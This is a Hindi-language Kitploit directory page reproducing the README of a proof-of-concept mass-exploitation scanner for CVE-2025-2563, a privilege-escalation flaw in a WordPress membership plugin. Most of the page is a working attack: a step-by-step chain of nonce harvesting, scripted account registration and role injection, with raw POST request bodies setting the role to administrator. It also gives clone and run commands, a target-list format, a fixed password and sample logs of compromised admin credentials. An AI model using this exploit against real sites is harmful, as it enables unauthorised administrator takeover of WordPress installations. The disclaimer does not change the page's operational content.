Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-2563 — User Registration & Membership WordPress plugin 4.1.2 से पहले के संस्करण में उपयोगकर्ताओं को अपनी खाता भूमिका सेट करने से नहीं रोकता है जब Membership Addon सक्षम होता है, जिससे विशेषाधिकार वृद्धि की समस्या उत्पन्न होती है और अनप्रमाणित उपयोगकर्ताओं को व्यवस्थापक विशेषाधिकार प्राप्त करने की अनुमति मिलती है। | Kitploit
उपकरण/GitHubGitHub/nxploited/cve-2025-2563
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंगपेलोड डेवलपमेंट
GitHubnxploited/cve-2025-2563

CVE-2025-2563

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

User Registration & Membership WordPress plugin 4.1.2 से पहले के संस्करण में उपयोगकर्ताओं को अपनी खाता भूमिका सेट करने से नहीं रोकता है जब Membership Addon सक्षम होता है, जिससे विशेषाधिकार वृद्धि की समस्या उत्पन्न होती है और अनप्रमाणित उपयोगकर्ताओं को व्यवस्थापक विशेषाधिकार प्राप्त करने की अनुमति मिलती है।

साझा करें

CVE-2025-2563

वर्डप्रेस के लिए User Registration & Membership प्लगइन, संस्करण 4.1.2 से पहले, जब Membership Addon सक्षम होता है, तो उपयोगकर्ताओं को अपनी खाता भूमिका सेट करने से नहीं रोकता है, जिससे विशेषाधिकार वृद्धि की समस्या उत्पन्न होती है और अप्रमाणित उपयोगकर्ताओं को व्यवस्थापक विशेषाधिकार प्राप्त करने की अनुमति मिलती है।

CVE-2025-2563; उपयोगकर्ता पंजीकरण और सदस्यता — अप्रमाणित विशेषाधिकार वृद्धि


🔴 भेद्यता अवलोकन

CVE-2025-2563 — Membership Addon भूमिका इंजेक्शन के माध्यम से अप्रमाणित विशेषाधिकार वृद्धि

विवरण:
वर्डप्रेस के लिए User Registration & Membership प्लगइन, संस्करण 4.1.2 से पहले, जब Membership Addon सक्षम होता है, तो सर्वर-साइड भूमिका प्रतिबंधों को लागू करने में विफल रहता है। सदस्यता पंजीकरण प्रक्रिया के दौरान, प्लगइन user_registration_membership_register_member AJAX एक्शन में उपयोगकर्ता द्वारा प्रदान किए गए role फ़ील्ड को बिना सर्वर-साइड अनुमत सूची के विरुद्ध मान्य किए स्वीकार करता है। एक पूरी तरह से अप्रमाणित दूरस्थ हमलावर एक क्राफ्टेड दो-चरणीय AJAX श्रृंखला प्रस्तुत कर सकता है — पहले user_registration_user_form_submit के माध्यम से एक नया उपयोगकर्ता खाता पंजीकृत करना, फिर सदस्यता कॉल के members_data पेलोड में "role": "administrator" इंजेक्ट करना — ताकि चुपचाप पूरी तरह से विशेषाधिकार प्राप्त वर्डप्रेस व्यवस्थापक खाता बनाया जा सके। इसके परिणामस्वरूप बिना किसी प्रमाणीकरण या उपयोगकर्ता इंटरैक्शन के पूर्ण साइट से समझौता होता है।


🛠️ उपकरण विवरण

यह एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) बड़े पैमाने पर शोषण स्कैनर है, जो Membership Addon सक्रिय के साथ User Registration & Membership प्लगइन के एक कमजोर संस्करण को चलाने वाले वर्डप्रेस इंस्टॉलेशन को लक्षित करता है। यह उपकरण स्वचालित खोज, नॉन्स हार्वेस्टिंग, कॉम्बो-आधारित पंजीकरण, भूमिका इंजेक्शन और व्यवस्थापक सत्यापन के साथ बुद्धिमान बहु-चरणीय शोषण करता है।

🔗 पूर्ण हमला श्रृंखला

root@kitploit:~
[चरण 1 — खोज]
  GET /membership-pricing/        →  membership_id, मूल्य निर्धारण लिंक निकालें
  GET /membership-registration/   →  form_id, नॉन्स, सुरक्षा टोकन निकालें
  GET /registration/              →  फ़ॉलबैक पंजीकरण पृष्ठ

          ↓

[चरण 2 — नॉन्स निष्कर्षण]
  पार्स करें: ur_membership_frontend_localized_data._nonce
  पार्स करें: ur_frontend_form_nonce, security, form_id, membership_id

          ↓

[चरण 3 — पंजीकरण (कॉम्बो हमला)]
  POST /wp-admin/admin-ajax.php
  action=user_registration_user_form_submit
  form_data=[{user_login, user_email, user_pass, membership_field, ...}]
  security=<टोकन>  |  ur_frontend_form_nonce=<नॉन्स>
  → success=true होने तक सभी मान्य कॉम्बो आज़माएं

          ↓

[चरण 4 — भूमिका इंजेक्शन (CVE-2025-2563)]
  POST /wp-admin/admin-ajax.php
  action=user_registration_membership_register_member
  members_data={"role":"administrator","membership":"<id>",...}
  _wpnonce=<membership_js_nonce>
  → सर्वर नवनिर्मित उपयोगकर्ता को व्यवस्थापक भूमिका प्रदान करता है

          ↓

[चरण 5 — व्यवस्थापक सत्यापन]
  POST /wp-login.php              →  नए क्रेडेंशियल से लॉगिन करें
  GET  /wp-admin/                 →  adminmenu / wp-admin-bar जांचें
  GET  /wp-admin/users.php        →  manage_options एक्सेस की पुष्टि करें
  GET  /wp-admin/plugin-install.php →  plugin-install एक्सेस की पुष्टि करें

          ↓

[Nx_admin.txt में सहेजें]
  प्रारूप: [टाइमस्टैम्प] https://target.com/wp-login.php user:<u> pass:<p>

📋 आवश्यकताएँ

सिस्टम आवश्यकताएँ

  • Python 3.8 या उच्चतर
  • Linux / Windows / macOS

Python निर्भरताएँ

root@kitploit:~
pip install requests urllib3 rich

या आवश्यकताओं की फ़ाइल के माध्यम से:

root@kitploit:~
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

🚀 स्थापना

root@kitploit:~
# रिपॉजिटरी क्लोन करें
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563

# निर्भरताएँ स्थापित करें
pip install -r requirements.txt

# उपकरण चलाएं
python3 CVE-2025-2563.py

⚙️ उपयोग

मूल रन

root@kitploit:~
python3 CVE-2025-2563.py

उपकरण Rich द्वारा संचालित पूरी तरह से इंटरैक्टिव टर्मिनल इंटरफ़ेस का उपयोग करता है।


🗂️ लक्ष्य सूची प्रारूप

एक सादा पाठ फ़ाइल बनाएं (डिफ़ॉल्ट: list.txt) — प्रति पंक्ति एक लक्ष्य:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com
target4.com

http:// या https:// के बिना लक्ष्यों को स्वचालित रूप से https:// उपसर्ग दिया जाता है।


🖥️ इंटरैक्टिव प्रॉम्प्ट

root@kitploit:~
Targets file [list.txt]:                    list.txt
Threads [3]:                                5
HTTP timeout (seconds) [10]:                10
Max registration attempts per target [20]:  20

सभी पंजीकरण प्रयासों के लिए पासवर्ड आंतरिक रूप से Nx_adminSA निर्धारित है।


🔬 शोषण गहराई में

चरण 1 — बहु-पृष्ठ खोज

उपकरण प्रति लक्ष्य स्वचालित रूप से तीन पृष्ठों की जांच करता है:

पृष्ठउद्देश्य

चरण 2 — टोकन निष्कर्षण

निम्नलिखित टोकन कच्चे HTML और इनलाइन JavaScript से निकाले जाते हैं:


चरण 3 — पंजीकरण AJAX (कॉम्बो हमला)

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
            {"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>

उपकरण स्वचालित रूप से security, frontend_nonce, form_id, और membership_id के सभी खोजे गए संयोजनों पर तब तक पुनरावृत्ति करता है जब तक success: true प्रतिक्रिया प्राप्त नहीं हो जाती।


चरण 4 — भूमिका इंजेक्शन AJAX (कमजोर कॉल)

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
               "role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}

⚠️ सर्वर बिना किसी अनुमत सूची के role फ़ील्ड स्वीकार करता है — यह CVE-2025-2563 का मूल कारण है।


📁 आउटपुट फ़ाइलें

फ़ाइलविवरण
reg.txtक्रेडेंशियल के साथ सभी सफल पंजीकरण प्रयास
Nx_admin.txtसभी पुष्टि किए गए व्यवस्थापक वृद्धि

✅ आउटपुट प्रारूप

reg.txt:

root@kitploit:~
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA

Nx_admin.txt:

root@kitploit:~
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA

🖥️ टर्मिनल आउटपुट नमूना

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  User Registration Membership Full Chain                         ║
║  By: Nxploited  |  GitHub: github.com/Nxploited  |  @Kxploit    ║
╚══════════════════════════════════════════════════════════════════╝

[SCANNING]      https://target.com
[EXPLOITING]    https://target.com  |  nonce + reg OK
[EXPLOITED]     https://target.com  |  password: Nx_adminSA

┌──────────────────────────────────────────────────────────────────────────┐
│ Target               │ Status                       │ Password / Note    │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com   │ ✅ COMPROMISED (exploited)   │ password: Nx_adminSA│
│ https://target2.com  │ VULNERABLE (nonce exposed)   │                    │
│ https://target3.com  │ DEAD (connection error)      │                    │
└──────────────────────────────────────────────────────────────────────────┘

Registration log:   reg.txt
Exploit (admin) log: Nx_admin.txt

📊 स्थिति कोड संदर्भ


📡 संपर्क और लेखक

द्वारा: Nxploited (खालिद अलेनाजी)

 


⚠️ कानूनी अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।

लेखक, Nxploited (खालिद अलेनाजी), और इस परियोजना के सभी योगदानकर्ता इस उपकरण के दुरुपयोग या इस सॉफ़्टवेयर के उपयोग से होने वाली किसी भी क्षति के लिए न तो समर्थन करते हैं, न ही कोई जिम्मेदारी लेते हैं जब इसका उपयोग उन प्रणालियों के विरुद्ध किया जाता है जिनके लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है।

  • ✅ अनुमत: उन प्रणालियों पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपको स्पष्ट लिखित अनुमति दी गई है।
  • ❌ निषिद्ध: सिस्टम स्वामी से पूर्व स्पष्ट लिखित प्राधिकरण के बिना किसी भी प्रणाली के विरुद्ध उपयोग करें।

कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है और लागू कानूनों के तहत दंडनीय है जिसमें कंप्यूटर फ्रॉड एंड एब्यूज एक्ट (CFAA), कंप्यूटर मिसयूज़ एक्ट (CMA), और दुनिया भर में समान विधान शामिल हैं, लेकिन इन्हीं तक सीमित नहीं हैं।

इस उपकरण का उपयोग करके, आप अपने कार्यों की पूर्ण और एकमात्र जिम्मेदारी स्वीकार करते हैं और पुष्टि करते हैं कि आपके पास लक्षित प्रणालियों के परीक्षण का कानूनी अधिकार है।

लेखक इस सॉफ़्टवेयर के उपयोग या दुरुपयोग से उत्पन्न होने वाले किसी भी प्रत्यक्ष, अप्रत्यक्ष, आकस्मिक, या परिणामी नुकसान के लिए कोई देयता नहीं मानता है।


© 2025 Nxploited (खालिद अलेनाजी) — केवल अधिकृत सुरक्षा अनुसंधान के लिए।

टूल डाउनलोड करें
फ़ील्डविवरण
CVE IDCVE-2025-2563
गंभीरताउच्च — CVSS v3.1 स्कोर: 8.1
वेक्टरCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
ADPCISA-ADP
प्रभावित सॉफ्टवेयरवर्डप्रेस के लिए User Registration & Membership प्लगइन
प्रभावित संस्करण4.1.2 से पहले के सभी संस्करण
भेद्यता प्रकारअनुचित विशेषाधिकार प्रबंधन — अप्रमाणित व्यवस्थापक खाता निर्माण
आवश्यक प्रमाणीकरणकोई नहीं
CWECWE-269: अनुचित विशेषाधिकार प्रबंधन
/membership-pricing/
membership_id और पंजीकरण लिंक निकालें
/membership-registration/फ़ॉर्म टोकन, नॉन्स और फ़ील्ड आईडी निकालें
/membership-registration/?membership_id=<id>योजना-विशिष्ट फ़ॉर्म निष्कर्षण
/registration/फ़ॉलबैक सामान्य पंजीकरण पृष्ठ
टोकनस्रोत
_nonceur_membership_frontend_localized_data JS ऑब्जेक्ट
ur_frontend_form_nonceछिपा इनपुट फ़ील्ड या JS ऑब्जेक्ट
securityuser_registration_params.user_registration_form_data_save
form_idछिपा इनपुट ur-user-form-id या JS ऑब्जेक्ट
membership_idरेडियो इनपुट urm_membership या URL क्वेरी स्ट्रिंग
स्थितिरंगअर्थ
COMPROMISED (exploited)🟢 हरापूर्ण श्रृंखला सफलता — व्यवस्थापक लॉगिन सत्यापित
COMPROMISED (exploit ok, admin not verified)🟡 पीलाभूमिका इंजेक्शन सफल लेकिन व्यवस्थापक पैनल जाँच अनिर्णायक
VULNERABLE (nonce exposed, registration failed)🟡 पीलासदस्यता नॉन्स मिला लेकिन पंजीकरण AJAX विफल
VULNERABLE (nonce exposed, exploit pending)🟡 पीलानॉन्स मिला लेकिन शोषण पूरा नहीं किया जा सका
EXPLOITING🟡 पीलासक्रिय शोषण प्रगति पर
REGISTERED (no membership nonce)🟡 पीलापंजीकरण सफल लेकिन नॉन्स निकालने योग्य नहीं
NO REG (all attempts failed)⚫ गहरासभी सुरक्षा/नॉन्स/फ़ॉर्म_आईडी संयोजन प्रयास समाप्त
NO REG (max attempts reached)⚫ गहराकॉन्फ़िगर किए गए प्रयास सीमा तक पहुँच गया
DEAD (no membership/registration pages)⚫ गहरालक्ष्य पर प्लगइन का पता नहीं चला
EXPLOIT FAILED (request error)🔴 लालभूमिका इंजेक्शन कॉल के दौरान नेटवर्क त्रुटि
EXPLOIT FAILED (success=false)🔴 लालसर्वर ने भूमिका इंजेक्शन पर success: false लौटाया
TIMEOUT⚫ गहराHTTP टाइमआउट
DEAD (connection error)⚫ गहराकनेक्शन अस्वीकार / पहुँच से बाहर
ERROR🔴 लालअप्रत्याशित अपवाद